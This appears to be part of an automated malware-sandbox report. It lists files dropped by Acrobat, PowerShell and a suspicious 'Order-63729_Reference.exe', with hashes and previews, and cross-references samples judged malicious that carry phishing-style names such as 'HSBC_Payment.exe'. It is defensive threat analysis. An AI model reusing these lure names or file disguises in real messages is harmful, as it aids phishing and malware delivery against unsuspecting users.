SHA-512:	256A7B8BD3040489C0D1FA9BB55499C572DE31D2D1A363618328289C00350CE1C2B052AFE95D15B5273B8619F6F9EF3C659E1242303FFD10CC2602BC98145E88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"89628_281075ActionBlock_0","campaignId":89628,"containerId":"1","controlGroupId":"","treatmentId":"abdf1d9d-2114-4953-95a6-4eed783b9872","variationId":"281075"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IlR1cm4gc2Nhbm5lZCBwYXBlciBkb2N1bWVudHNcbmludG8gaW5zdGFudGx5IGVkaXRhYmxlIFBERnMuIn0sInRjYXRJZCI6IlJHUzAzNTEtRU5VLUNoYWxsZW5nZXIyIn0=","dataTy

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.709370704467101
Encrypted:	false
SSDEEP:	24:Yv6X1sZhKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5r5:Yv8kEgqprtrS5OZjSlwTmAfSKB5
MD5:	9E1E1F48F483D31F21F31B79309DAD3F
SHA1:	964E7E5C4993D0F5CE9CEA956ABBD84F57DFDCB2
SHA-256:	4E3946AEE324C7124A17FD963BBDDEA34859FC766A7D7262CD81E199B6C146FC
SHA-512:	D5228AF2508E72D4F8D2A6340265E46711B13AD7C204EFFAC6266AB72BD72364031E6E7CBC957B3B712129FCCEE296DD86E26709DCFF4A081CC3DB4D57363144
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3196011248306
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSk/ltouORl0nZiQ0YG+oAvJfYdPeUkwRe9:YvXKXFZlt60c1Gg8Ukee9
MD5:	03E38A400364BDDC4A437C54FFD9E7D5
SHA1:	FA1FF28273DA1F3B400161D243606368C36EC81E
SHA-256:	D8AFE147BE6A4D3DA16C25F400C2C28C112D7AB5E62EC92ACB99C20D48C34412
SHA-512:	C14F702C3C54E28BED3ABABE336444838E396F7D230E5A942338514E60C1C8A73E1DC03FB74C58F50B4B992C10ACCBEDD41D8D73C515F428E2D4CF739ACD37B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.783735110923995
Encrypted:	false
SSDEEP:	24:Yv6X1sZsrLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNT5:Yv8LHgDv3W2aYQfgB5OUupHrQ9FJB5
MD5:	AA4F521D1A39C75741EDF8DD43B4C42F
SHA1:	44335F08086813423E8600EA4BF84107D9646575
SHA-256:	55F3C00FA2645BED07155EBB2B674B70541DB566062647AD1277C00323A50425
SHA-512:	43DF54A89F45884FD2D9B3A357A40AC0195FE80E47F5354B84F3D92FE0BAE78E8E12E2DF82F6D007C9A69C1D253FCBA4407C92C15E770275B70AF9ABA79846F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.303013506869888
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSk/ltouORl0nZiQ0YG+oAvJfbPtdPeUkwRe9:YvXKXFZlt60c1GDV8Ukee9
MD5:	185D770A26F92A30C32E27472B6FC8EB
SHA1:	995F8ACDCD46BCF75F62C2DC7E2D7DE019047A82
SHA-256:	E0CA56FE82C0E6D6F5F8A58A54C02FF8F2DC279F43C5E52BF3C9FABA65726B07
SHA-512:	76B1BA648348889A4B1053CCC9F54884C301B6A0B988BAF6317DB82FC82F0DC040F298748D18820B916E61C796B4DAE09DEF224B4F91CD639F55682B76C772DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.306351755411342
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSk/ltouORl0nZiQ0YG+oAvJf21rPeUkwRe9:YvXKXFZlt60c1G+16Ukee9
MD5:	9B62560BF52708D9871E3627CCB17060
SHA1:	1624924502FED5CFFC83DF2BD6A15E5A416FD18D
SHA-256:	E8210EB0D64C3B0165D477A977691578587E8EA944099439278B232A19531FDC
SHA-512:	34D8E0DBE21C332F18BD8403A05216EDE82526C03215452597C1D6998BAB83DEB3278B0AABA7358009E332FF8212E7A109FF0B8E6AC75688B6EB78D0F3ED0039
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	5.673350061500216
Encrypted:	false
SSDEEP:	24:Yv6X1sZGamXayLgE6cTg4QSOGtNaqnl0RCmK8czOC/CrfSG5:Yv8VBgSXQSrOAh8cv6mG5
MD5:	B252F33FBEE8DC719B044F632548F5AC
SHA1:	5C538C996CB98CA698AC26C7DC7BF803F3E7E04B
SHA-256:	ACAA340BFAA509E1D71045C6C4F7D9B71A5A1F7685B17627BCC21AB844853AFB
SHA-512:	37D8D9C89EC70FB5A8927C0A0AC96E5F21779E1444E77BD470984428FBC501495606BA26E993A395A07EA75F031C6F164016FD5E85ED4E7FCBD388BC96C1AE30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"89628_281075ActionBlock_1","campaignId":89628,"containerId":"1","controlGroupId":"","treatmentId":"7fe39695-394c-4706-9b50-651e7499d428","variationId":"281075"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6IlJHUzAzNTEtRU5VLUNoYWxsZW5nZXIyIn0=","dataType":"application\/json","encodingScheme":tru

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.285324534225101
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSk/ltouORl0nZiQ0YG+oAvJfshHHrPeUkwRe9:YvXKXFZlt60c1GUUUkee9
MD5:	70360DAB5A3841BCC8396E1CA9E2893F
SHA1:	1F21EA6AF31DC753C2FA5508D5761B0B1834B2F0
SHA-256:	E47F12E3D45A65679FEFC4708CBBD487682073EFA9787BAB28EB6407EA5E9A46
SHA-512:	971BE05C0C9749BB80B70CD46CC66FEECC9C2DDD676D566AAECAB55FDE2C9B56C894487EF1C69CB1E8D823D4DE418EECA02E6E6B290C542DD9CA47715B797F24
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.369587016196649
Encrypted:	false
SSDEEP:	12:YvXKXFZlt60c1GTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWH5:Yv6X1sZR168CgEXX5kcIfANhG5
MD5:	27EE3818D139A3695640D8E6D6771AFD
SHA1:	20C1E17988B6957713042EB05EC2C92B995F82BC
SHA-256:	954574D0BFF7ADB7583C4E204D29D76C59E26029D1A9CD6E87D46892F8108D83
SHA-512:	A2FEC68FF905A9E432CA658A66835494C60DF45B39AB2EA23E00EED26246351BD05F2B3573C8EEA9D9F4476C8D11D07755BC3890D2166B01F060037BDFE10152
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1728008855390}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2818
Entropy (8bit):	5.115061277477235
Encrypted:	false
SSDEEP:	48:YKixUZ5LucPN2TbomrtSsM4z13+3h3/1pOcjXW9bKBT87jb:nfhmrDz1uR/ScQOR8z
MD5:	B415979AD8580249359DDC0C9A5BD115
SHA1:	023CF0D2CB0D91357CB9AF20369F218E6C805B13
SHA-256:	BBA37550BAB552CCB810717DAA1B92D232BCADE36D843E55377824BFD772D6BC
SHA-512:	84D4B38B04CECCB26B5FC129D06F6A177E58E65C0500E0827BBD4C27D7C53B99FEE4F554C41C0A85D10A15D827E490ABB5A7800ABAFBE3FF8164BD2E3C2AE7A0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"00321dea31332ecf8ddddc7f77266c88","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1050,"ts":1728008854000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"deeccd03916f54142315e1c7c52faf86","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1728008854000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3e80c8121cbc456dba87bcee56d480df","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1054,"ts":1728008854000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"847d98b38ee51ae0e065efd88eebe68f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1091,"ts":1728008854000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"c7e2fef3de400107dc6fc2cbcb04aa46","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1098,"ts":1728008854000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"7d2e0b8a7b38f0215c72de5c98f91c58","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"t

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1465316907192755
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursmLLRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudM:TFl2GL7msGXc+XcGNFlRYIX2v3kT
MD5:	FE3334938442D863D0A995BCC52969D3
SHA1:	87DC9BF1D55DBC46AA4EFAEF6E41920D27D52C46
SHA-256:	7539DC5A7B4896B8B4365030D5420FC1F8919FCFD10FE9033C8BD223B607D52C
SHA-512:	95A8B5F07CD523541D07BECEAF762D3C70D9D013766F3BB6E450FBA569F9762E3CC2FEC42F0445AAD91EBC51F533B44DF2634038507E6AE8AB0CC0497964F515
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.550383398201952
Encrypted:	false
SSDEEP:	24:7+tTLLUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux3qLxx/XYb:7M4Xc+XcGNFlRYIX2viqVl2GL7mse
MD5:	61456D054C017FD46D17DCA79EF782E9
SHA1:	4B78534ACEC2EBD6D940B39305224E5FA8C851EC
SHA-256:	EF4DC8A2D6E6FB9BC15C9E29DDF8C650EA84DB35B7036D2BDC1CF3399AA794C0
SHA-512:	39CC20A3263D28CAF7101CBD2D13FEAC47167BC32B744FFE9169C73A6537D977134B919A13533F4C890554B5C172CC9C7B9036B4A1B5FF390B39606C449B109B
Malicious:	false
Preview:	.... .c.......d...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	5.39756930222642
Encrypted:	false
SSDEEP:	24:3/WSKco4KmBs4RPT6BmFoUebIlmjKcmZ9t7J0gt/NK3R8QHr6+:vWSU4y4RQmFoUeUmfmZ9tK8NWR8QHb
MD5:	0DE97BCB7648DE30EEC80DA1CE2D66E8
SHA1:	0E1F45D54992C77F19C83163B88C46824028B3FF
SHA-256:	24479C003136D1625FDAD7C13A67AAE59C7AC4CAB4297BA8A15F10AA57CE5F1C
SHA-512:	B18ABED3EBED8FA8DBBFEB4A26D098E7700F816F8A0EFD47491B509D01DBD53C5EBB14C27E2BB7FA7FE4FD487EDDA282BCA3F1966F39A6B4E697153C02ACF346
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Order-63729_Reference.bat, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse Filename: Est_US091024A - PICTURE.exe, Detection: malicious, Browse Filename: SwiftMesaj.pdf.exe, Detection: malicious, Browse Filename: SN890156.exe, Detection: malicious, Browse Filename: Unincriminated.exe, Detection: malicious, Browse Filename: PO#940894.exe, Detection: malicious, Browse Filename: Opgaveforlb.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Order-63729_Reference.bat, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse Filename: Est_US091024A - PICTURE.exe, Detection: malicious, Browse Filename: SwiftMesaj.pdf.exe, Detection: malicious, Browse Filename: SN890156.exe, Detection: malicious, Browse Filename: Unincriminated.exe, Detection: malicious, Browse Filename: PO#940894.exe, Detection: malicious, Browse Filename: Opgaveforlb.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` 